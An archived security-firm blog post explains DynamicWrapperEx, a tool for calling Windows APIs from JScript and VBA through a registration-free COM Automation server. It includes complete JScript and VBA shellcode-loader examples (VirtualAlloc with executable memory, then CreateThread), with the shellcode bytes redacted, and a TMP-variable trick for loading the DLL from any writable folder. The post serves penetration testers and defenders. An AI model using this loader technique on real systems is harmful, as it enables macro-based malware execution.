Archive of https://www.contextis.com/en/blog/dynamicwrapperex-windows-api-invocation-from-windows-script-host from 01 FEB 2021.

Table of contents

Introduction

The Component Object Model (COM) was a revolutionary specification when it first appeared in 1995, despite this, there is still a large veil of mystery surrounding it. Those who have worked closely with Microsoft Windows systems may have heard of it, but probably in negative terms.

In 1998 Jeff Strong wrote a blog post, “An Automation Object for Dynamic DLL Calls”, to showcase an OLE Automation server (subset of COM) written in C++. This component would allow dynamic invocation of methods within dynamic-link libraries (DLLs) from Windows Script Host (WSH); for example, JScript and VBScript. Later in 2008, Yuri Popov (Юрий Попов) released a tool named DynamicWrapperX inspired by Jeff’s work, which was written in GoAsm assembly but the source code was never released.

Over the years, multiple threat actors, malware developers and subsequently people working within simulated attack operations used DynamicWrapperX for the first stage of malware delivery. To name a few:

(Un)Fortunately, nowadays, many signatures and rules exist for DynamicWrapperX.

A tool named DynamicWrapperEx has been developed and published on GitHub. The source code for this project can be found at the following location: https://github.com/ctxis/DynamicWrapperEx

This will be used to support this blog post, which focusses on the underlying technologies that are used to achieve dynamic Windows API calls from the Windows Script Host (WSH).

While this is not an in-depth guide on COM and OLE Automation (both are huge subjects, and it is impossible to cover everything these topics entail in one post), this blog post will initially cover some basics of COM. The remaining sections will be about how to leverage OLE Automation, x64 standard calling convention, registration-free activation, and some of the limitations and security considerations around the use of such tool.

DynamicWrapperEx was presented at the CREST Intelligence-Led Penetration Testing Webinar in November 2020 and a recording is available on YouTube.

COM and OLE Automation Basics

The first version of Object Linking and Embedding (OLE), from 1992, was created as an improvement over its predecessors Dynamic Data Exchange (DDE) and clipboard technologies. It essentially allowed the use of smart components that can update themselves. COM is the successor of OLE technology. From 1995, OLE faded away to let the COM specification open the door to customisable and flexible component-driven applications.

When an application uses a COM component it is known as a COM client, while the components themselves are known as COM servers. These components are composed of interfaces, which can be defined as a memory structure that has an array of function pointers. In C++, this structure can be obtained at compilation by creating a pure virtual class, also known as abstract class. A pure virtual class is not providing any implementation details, but instead defines the shape, structure, and behaviour of the interface. Classes that derive from the interface (i.e. interface inheritance) must subsequently provide the implementation of the methods.

Why is an interface important? The answer is that interfaces are required for polymorphism. Polymorphism comes from Ancient Greek, meaning “many forms”. In programming, this is achieved when the same operation (e.g. function), is applied on different types or classes. In more concrete terms this means that if multiple classes derive from the same interface, any client that wants to instantiate any of these classes will be able to use the exact same operations. By deriving from the same interface, this will enforce a unified way to instantiate and subsequently allow COM clients to use COM servers. In this case, COM interfaces all derive from the IUnknown interface.

Automation, also known as OLE Automation, has been developed as a subset of COM and was designed to be used by scripting languages such as JScript, VBScript, and later Visual Basic for Applications. The objective, as the name implies, was to offer a certain level of automation by providing a new way to communicate with COM components.

An Automation server will be a COM component that derives and implements the IDispatch interface (which also derives from IUnknown), whereas the Automation controller will be a COM client that interacts with an Automation server.

Leveraging OLE Automation

An Automation controller (COM clients implementing OLE Automation standard) provides a new way to communicate with Automation servers (COM servers implementing OLE Automation standard), which in this case will come in handy. Before explaining why, it is important to have a look at how to implement the IDispatch Interface. As shown below, there are seven methods in total. First three being from the IUnknown interface.

/** 
* @brief {F757F2EC-62D8-4BAE-8BE0-0A61CF36A541} 
*/ 
static CONST GUID IID_IDynamicWrapperEx = { 0xf757f2ec , 0x62d8, 0x4bae , {0x8b, 0xe0, 0xa, 0x61, 0xcf, 0x36, 0xa5, 0x41} }; 
  
class IDynamicWrapperEx : public IDispatch { 
public: 
    // Inherited via IUnknown 
    virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppvObject) = 0; 
    virtual ULONG   STDMETHODCALLTYPE AddRef(void) = 0; 
    virtual ULONG   STDMETHODCALLTYPE Release(void) = 0; 
  
    // Inherited via IDispatch 
    virtual HRESULT STDMETHODCALLTYPE GetTypeInfoCount(
UINT* pctinfo
    ) = 0; 

    virtual HRESULT STDMETHODCALLTYPE GetTypeInfo(
UINT        iTInfo,
LCID        lcid,
ITypeInfo** ppTInfo
    ) = 0; 

    virtual HRESULT STDMETHODCALLTYPE GetIDsOfNames(
REFIID    riid,
LPOLESTR* rgszNames,
UINT      cNames,
LCID      lcid,
DISPID*   rgDispId
    ) = 0; 

    virtual HRESULT STDMETHODCALLTYPE Invoke(
DISPID      dispIdMember,
REFIID      riid,
LCID        lcid,
WORD        wFlags,
DISPPARAMS* pDispParams,
VARIANT*    pVarResult,
EXCEPINFO*  pExcepInfo,
UINT*       puArgErr
    ) = 0; 
  
private: 
    DWORD m_dwReference = 0; 
};

The reason this will come in handy is that the GetIDsOfNames and Invoke methods will allow introspection and reflection. They are respectively, the ability to examine type and properties of an object at runtime (e.g. ourselves) and to modify properties and attributes at runtime (e.g. adding a new method).

Both methods are important and are the keystone of this new “in two-steps” communication model. When executing a COM server in a Windows Script Host (WSH) context and compared to procedural languages like C or C++ there are no header files that provide declaration details. In other words, this means that the Automation controller has no clear information about what it is manipulating apart from knowing that this is an Automation server with both GetIDsOfNames and Invoke methods exposed.

First, the GetIDsOfNames function is called by the Automation controller, to check whether a function or property exits. The name of the property,or the function, is passed via the second parameter of the function (i.e. rgszNames). If the name of the function or property is unknown, the method will return the DISP_E_UNKNOWNNAME error code and the dispatch ID (i.e. rgDispId) will be set to zero. If the name exists, the method will return S_OK and the corresponding dispatch ID.

The following screenshot shows the JScript Automation controller calling GetIDsOfNames to get the dispatch ID of a function named DwRegister:

Once the Automation controller knows that the function or property exists, the Invoke method is called to execute a function, modify, or read a property. The first parameter dispIdMember is the dispatch ID, the second parameter riid must be null, and the third parameter lcid is the local identifier.

To understand the remaining parameters, it is important to understand that Invoke is a generic method that is used to execute other functions, modify, or get a property. As a result, the method needs a generic way to describe the type of action that will be conducted as well as the parameters and the return value, if any. The type of action is a flag and is defined in the fourth parameter wFlags. One of the following values is expected:

  • DISPATCH_METHOD – to execute a function
  • DISPATCH_PROPERTYGET – to get the value of a property
  • DISPATCH_PROPERTYPUT – to change the value of a property; and
  • DISPATCH_PROPERTYPUTREF – to change the value of a property by reference.

At runtime, the Automation server has no knowledge of the type of parameters and the return values that are expected. Therefore, a generic way to store this information is required for runtime type identification and data storage. This is exactly what the VARIANT structure is used for.

The fifth parameter, pDispParams, is a DISPPARAMS structure. This contains an array of VARIANT. The array of VARIANT is populated with the parameters from the script:

typedef struct tagDISPPARAMS {
    VARIANTARG *rgvarg;
    DISPID     *rgdispidNamedArgs;
    UINT       cArgs;
    UINT       cNamedArgs;
} DISPPARAMS;

The sixth parameter, pVarResult, is a simple VARIANT used to store the return value of the function. The remaining two parameters pExcepInfo and puArgErr, are used for exception and error handling (not covered within this blog).

Consequently, both GetIDsOfNames and Invoke methods can be used to generate and execute new classes and methods at runtime. This provides a way to extend the capabilities of the Automation server at runtime.

In this case, DynamicWrapperEx maintains a list of DynamicMethod classes (each class being a wrapper around a Windows API) and has a utility class named AutomationFactory. Amongst other things, this utility class has a method called Register with a hard-coded dispatch ID of zero. This method is responsible for registering new Windows APIs and updating the list of DynamicMethod classes. The list will then be parsed to check whether a Windows API has been registered and therefore can be executed.

Ultimately, each DynamicMethod class has one method called Invoke and three properties (i.e., m_dwDispatchId, m_bstrFunctionName and m_lpFunction). These properties are, respectively, the dispatch ID of the class, the Unicode name, and the address in the virtual private memory of the process of the Windows API. The Invoke function will be responsible for implementing the correct calling convention (i.e. properly setting the parameters on the stack), calling the API, and returning the value.

x86_64 Standard Calling Convention

There are many calling conventions that have been used over the years. Some of them are standards (e.g., C and standard) and some of them are now obsolete (e.g., Pascal, Fortran and syscall). Calling conventions are very important because they dictate the order of a parameter passing to a routine upon execution, who will be responsible for cleaning the stack and the name decoration of internal object and classes.

Additionally, the process of calling a routine in x86_64 is different than in x86. Firstly, x86_64 introduced the shadow stack, which is automatically allocated space (20 bytes) for the called routine to save registers. Secondly, compared to x86, the first four parameters are passed in registers left to right while the remaining parameters are passed in the stack from right to left. Integer arguments are passed via the RCX, RDX, R8 and R9 general-purpose registers (GPRs), while the floating-point parameters are passed via the XMM0, XMM1, XMM2 and XMM3 registers which are the Streaming SIMD Extensions 2 (SSE2) registers. This tool has been designed to solely interact with Windows APIs on an x64 architecture; therefore, this section focuses on the x86_64 standard calling convention (i.e. __stdcall).

As mentioned in the previous section, a DynamicMethod class is a wrapper around a Window API and has a method called Invoke. This method will create a packed structure with all the parameters and then will call the DynamicCall routine written in assembly. The routine has been developed in assembly because it is the easiest, if not the only, way to manipulate the stack and fully control the registers.

The logic is simple. The routine goes through each parameter one by one (i.e. via the RAX register), and pushes them into the stack or moves them into the registers according to their position.

To do that, it first needs to check whether the position is lower or equal to four, in which case the parameter is moved into the general-purpose registers (i.e., shadow stack). Otherwise, it is pushed in reverse order to the stack.

.parse_arguments:
    mov eax, dword [dwArguments]      ; Total number of arguments 
    dec rax                           ; Index start to 0, hence -1 
    imul rax, rax, 10h                ; Calculate argument index

    add rax, qword [lpTableArguments] ; EAX = PArgument
    mov ebx, [rax + Argument.dwSize]  ; 

    cmp dword [dwArguments], 4h       ; Check if shadow stack or stack
    jle .shadow_stack                 ;

Starting at RSP + 0x20 bytes, the position in the stack can be easily calculated when the total number of parameters and the current position of the parameter is known. Once the offset in the stack has been calculated the value is moved. Example below:

mov ebx, dword [dwArguments]                    ; EBX = number of arguments
    sub rbx, 5h                                     ; EBX - shadow stack parameters - 1
    imul rbx, rbx, 8h                               ; EBX = 8 * EBX

    add rbx, 20h                                    ; EBX = EBX + 20h
    add rbx, rsp                                    ; EBX = position in the stack

    and dword [rax + Argument.dwFlag], ARGUMENT_FLT ; Check if floating point value
    jnz .stack_xmmx
    mov r10, [rax + Argument.value]                 ; Decimal value
    mov qword [rbx], r10                            ; Push value to the stack
    jmp .next                                       ;
.stack_xmmx:
    movsd xmm5, [rax + Argument.value]              ; Floating pointer value
    movsd [rbx], xmm5                               ; Push value to the stack
    jmp .next                                       ;

Please note that a special check is required if the parameter is a floating point. Instructions and subsequently mnemonics to manipulate floating point registers and standard values/registers are not the same.

If a parameter is passed via general purpose register (i.e. shadow stack), the position of the parameter dictates in which register the value needs to be moved into.

.shadow_stack:
    mov r10d, dword [dwArguments]                   ;
    cmp r10d, 4h                                    ; 1st parameter
    je .param4                                      ; 
    cmp r10d, 3h                                    ; 2nd parameter
    je .param3                                      ;
    cmp r10d, 2h                                    ; 3rd parameter
    je .param2                                      ;
    cmp r10d, 1h                                    ; 4th parameter
    je .param1                                      ;
    jmp .failure                                    ; Something went wrong at this point

Once the register is known, it is important to check if this is a floating-point value before moving it. Again, this is because the mnemonics are not the same. Example with the first parameter:

.param1:
    and dword [rax + Argument.dwFlag], ARGUMENT_FLT
    jnz .param1_xmmx
    mov rcx, [rax + Argument.value]
    jmp .next
.param1_xmmx:
    movsd xmm0, [rax + Argument.value]              ; floating point value 
    jmp .next                                       ;

Once all parameters are properly setup, the routine calls the Windows API and moves the return value to a structure specifically created for it:

mov rax, qword [lpFunction]          ; Address of the function
    call rax                             ;

    mov rbx, qword [lpResult]            ; Address of the RESULT union
    and dword [dwReturnFlag], RETURN_FLT ; Whether non-scalar return value
    jnz .result_xmmx                     ;
    mov qword [rbx], rax                 ; Move scalar data
    jmp .exit                            ;
.result_xmmx:
    movsd [rbx], xmm0                    ; Move non-scalar data
    jmp .exit                            ;

The value is then returned all the way back to the script.

Registration-Free Activation

The final step is to load and activate the Automation server without having to register it.

In a normal scenario when installing a COM component in a system, the component must export DllRegisterServer and DllUnregisterServer functions. To register the COM component, the function saves the class identifier (CLSID) of the component in the Windows Registry under HKEY_CLASS_ROOT\CLSID as well as the ProgID (aka friendly name) of the component under HKEY_CLASS_ROOT. To unregister the COM component, the function simply deletes the keys from the Windows Registry.

Registration is important because when an application needs to load and use a component, it calls the CoCreateInstance Windows API with the CLSID of the component. This function then looks up the CLSID in the registry and reads the InprocServer32 sub-key. This key contains the path to the component in the system. If the CLSID is found, the function loads and maps the component in the private virtual memory of the process before calling the DllMain module entry point function.

The problem with component registration is that it requires high integrity, such as local administrative privileges, on the system in order to manipulate the Windows Registry. It also leaves traces that should be considered from an operational security (OPSEC) point of view.

However, Windows has a technology called Side-by-Side Assembly (SxS). SxS has been implemented in an attempt to address the “DLL hell” issue, also known as “dependency hell”. DLLs are designed by nature to share code for reusability purposes. The problem being that an application may have been designed with a specific version of a DLL, which may not be present on the system. Alternatively, the DLL may be present but is not the expected version.

SxS addresses this problem by providing a set of APIs to query, install and uninstall assemblies from the SxS store. Do not confuse them with .NET Assemblies. The assembly from the SxS store is the name of a package of resources for unmanaged code, including – but not limited to – DLLs. The store is located under the “C:\Windows\WinSxS\” folder.

Each assembly has an assembly manifest, which is an XML formatted file. This manifest represents the identity of the assembly, and contains various information about it such as the type, name, version, and dependencies.

In order to use this technology, applications must create an Activation Context with the SxS APIs. The creation of this data structure requires an application manifest. Similar to an assembly manifest, this XML file lists all the required assemblies (e.g., DLL or COM components). When the application manifest is parsed, the assemblies are loaded and subsequently added to the Activation Context.

An example of an application manifest file used to load DynamicWrapperEx:

<?xml version="1.0" encoding="UTF-16" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
    <assemblyIdentity type="win32" name="DynamicWrapperEx v 1.0" version="1.0.0.0" />
    <file name="DynamicWrapperEx.dll">
        <comClass description="DynamicWrapperEx" clsid="{1E2F6CDD-E721-4E94-885C-36C95D6A8CC2}" threadingModel="Both" progid="DynamicWrapperEx" />
    </file>
</assembly>

SxS first searches the assembly in the SxS store and then within the application folder (i.e. where the application manifest is located). The problem with the first step is that high integrity is required in order to write anything within the WinSxS folder. However, when creating an Activation Context instead of providing the path to the manifest file, it is possible to provide it as a hardcoded string. In this case, SxS searches in the folder defined by the TMP environment variable. This means that by controlling the TMP environment variable of a process, which does not require any specific privileges, it is also possible to control from where SxS will try to load the Automation server. This can be from any readable or writable location of the system.

The following screenshot shows how the SysInternals process monitor tool records the event of a process accessing the Automation server located in the TMP directory.

Finally, from a scripting language it is possible to create a new activation context via the Microsoft.Windows.Actctx COM component. This means that from VBA or JScript, an Activation Context can be created with an application manifest in order to load the Automation server. This avoids the need to register the Automation server.

The following code snippet demonstrates how to load the Automation server in JScript:

var manifestXML = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="COM" version="1.0.0.0"/> <file name="DynamicWrapperEx.dll"> <comClass description="DynamicWrapperEx" clsid="{1E2F6CDD-E721-4E94-885C-36C95D6A8CC2}" threadingModel="Both" progid="DynamicWrapperEx"/></file></assembly>'
 
var s = new ActiveXObject('WScript.Shell')
s.Environment('Process')('TMP') = '<somewhere read/writable>';
 
var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");
actCtx.ManifestText = manifestXML;

var dwx = actCtx.CreateObject("DynamicWrapperEx");

While this one shows how to do it in VBA:
Sub Activation()
    Dim manifest As String
    manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?><assembly xmlns=""urn:schemas-microsoft-com:asm.v1"" manifestVersion=""1.0""><assemblyIdentity type=""win32"" name=""DynamicWrapperEx"" version=""1.0.0.0""/> <file name=""DynamicWrapperEx.dll""> <comClass description=""DynamicWrapperEx"" clsid=""{1E2F6CDD-E721-4E94-885C-36C95D6A8CC2}"" threadingModel=""Both"" progid=""DynamicWrapperEx""/></file></assembly>"
 
    ' Change TMP Environment variable
    Dim env As Object
    Set env = CreateObject("WScript.Shell")
    env.Environment("Process").Item("TMP") = "<somewhere read/writable>”

    ' Create ActivationContext
    Dim dwx As Object
    Set dwx = CreateObject("Microsoft.Windows.ActCtx")
    dwx.ManifestText = manifest
    
    ' Create Automation server
    Dim server As Object
    Set server = dwx.CreateObject("DynamicWrapperEx")
End Sub

To summarise, by using the Microsoft.Windows.Actctx COM component it is possible to load the Automation server without registration. Additionally, the location in which SxS will search for the Automation server, can be easily controlled via the TMP environment variable of a process.

Limitations and Operational Security Considerations

Because of the use of VARIANT structures to pass parameters, Windows API functions that require structures of more than 8 bytes length cannot be used. The same happens if the Windows API returns a structure of more than 8 bytes. To address this issue, the developer can write static methods that will aggregate multiple Windows APIs. By doing so, this allows for full control over which Windows API can be used.

Even if the Automation server can be used without registration (i.e., does not modify the Windows Registry), the DLL must be accessible. The location of the Automation server can be either local on the system or remote over SMB or WebDAV. In any case, if the Automation server contains known signatures (e.g., hard-coded shellcode), this one will most likely be detected by Anti-Virus software.

Finally, analysts should be aware that side-by-side assembly technology is rarely used today, since Visual C++ 2010. Additionally, SxS is commonly used by C/C++ Windows applications and not via VBA or JScript. Therefore, the use of the Microsoft.Windows.Actctx COM component via a VBA Macro or JScript is most likely used for malicious purposes.

Example of Shellcode Execution

The following example shows how to execute shellcode from JScript. Please note that the code expects the Automation server to already be present on the system

var manifestXML = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="COM" version="1.0.0.0"/> <file name="DynamicWrapperEx.dll"> <comClass description="DynamicWrapperEx" clsid="{1E2F6CDD-E721-4E94-885C-36C95D6A8CC2}" threadingModel="Both" progid="DynamicWrapperEx"/></file></assembly>'
 
var s = new ActiveXObject('WScript.Shell')
s.Environment('Process')('TMP') = '<read/writable folder>';
 
var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");
actCtx.ManifestText = manifestXML;

//-------------------------------------------------------------------------------------------------
// Function registration
//-------------------------------------------------------------------------------------------------
var dwx = actCtx.CreateObject("DynamicWrapperEx");
try {
    dwx.DwRegister("kernel32.dll", "VirtualAlloc");
    dwx.DwRegister("kernel32.dll", "CreateThread");
    dwx.DwRegister("kernel32.dll", "WaitForSingleObject");
} catch (e) {
    WScript.Echo(e.message)
}

//-------------------------------------------------------------------------------------------------
// Execute shellcode
//-------------------------------------------------------------------------------------------------
var commit = 0x00003000;
var guard = 0x40; 

var shellcode = [
	// redacted 
];
var lpAddress = dwx.VirtualAlloc(0, shellcode.length, commit, guard);
if (lpAddress == 0) {
    WScript.Quit();
}

for (var i = 0; i < shellcode.length; ++i) {
    dwx.WriteByte(shellcode[i], lpAddress, i);
}

var hThread = dwx.CreateThread(null, 0, lpAddress, null, 0, 0);
if (hThread == 0) {
    WScript.Quit();
}
dwx.WaitForSingleObject(hThread, 10000);

Same example as above but with Visual Basic for Application (VBA).

Sub Activation()
    Dim manifest As String
    manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?><assembly xmlns=""urn:schemas-microsoft-com:asm.v1"" manifestVersion=""1.0""><assemblyIdentity type=""win32"" name=""DynamicWrapperEx"" version=""1.0.0.0""/> <file name=""DynamicWrapperEx.dll""> <comClass description=""DynamicWrapperEx"" clsid=""{1E2F6CDD-E721-4E94-885C-36C95D6A8CC2}"" threadingModel=""Both"" progid=""DynamicWrapperEx""/></file></assembly>"
 
    ' Change TMP Environment variable
    Dim env As Object
    Set env = CreateObject("WScript.Shell")
    env.Environment("Process").Item("TMP") = "<read/writable folder>"

    ' Create ActivationContext
    Dim dwx As Object
    Set dwx = CreateObject("Microsoft.Windows.ActCtx")
    dwx.ManifestText = manifest
    
    ' Create Automation server
    Dim server As Object
    Set server = dwx.CreateObject("DynamicWrapperEx")
    
    ' Execute code ....
    server.DwRegister "kernel32.dll", "VirtualAlloc"
    server.DwRegister "kernel32.dll", "CreateThread"
    server.DwRegister "kernel32.dll", "WaitForSingleObject"
    
    Dim shellcode As Variant
    shellcode = Array(
        ' redacted
    )
        
    Dim lpAddress As LongLong
    lpAddress = server.VirtualAlloc(0, UBound(shellcode), &H1000, &H40)
    
    For index = LBound(shellcode) To UBound(shellcode)
        i = server.WriteByte(CByte(shellcode(index)), CLngLng(lpAddress), CLng(index))
    Next index
    
    hThread = server.CreateThread(0, 0, CLngLng(lpAddress), 0, 0, 0)
    server.WaitForSingleObject hThread, -1
End Sub

References

The following of references and resources have been used to design DynamicWrapperEx and subsequently write this blog post: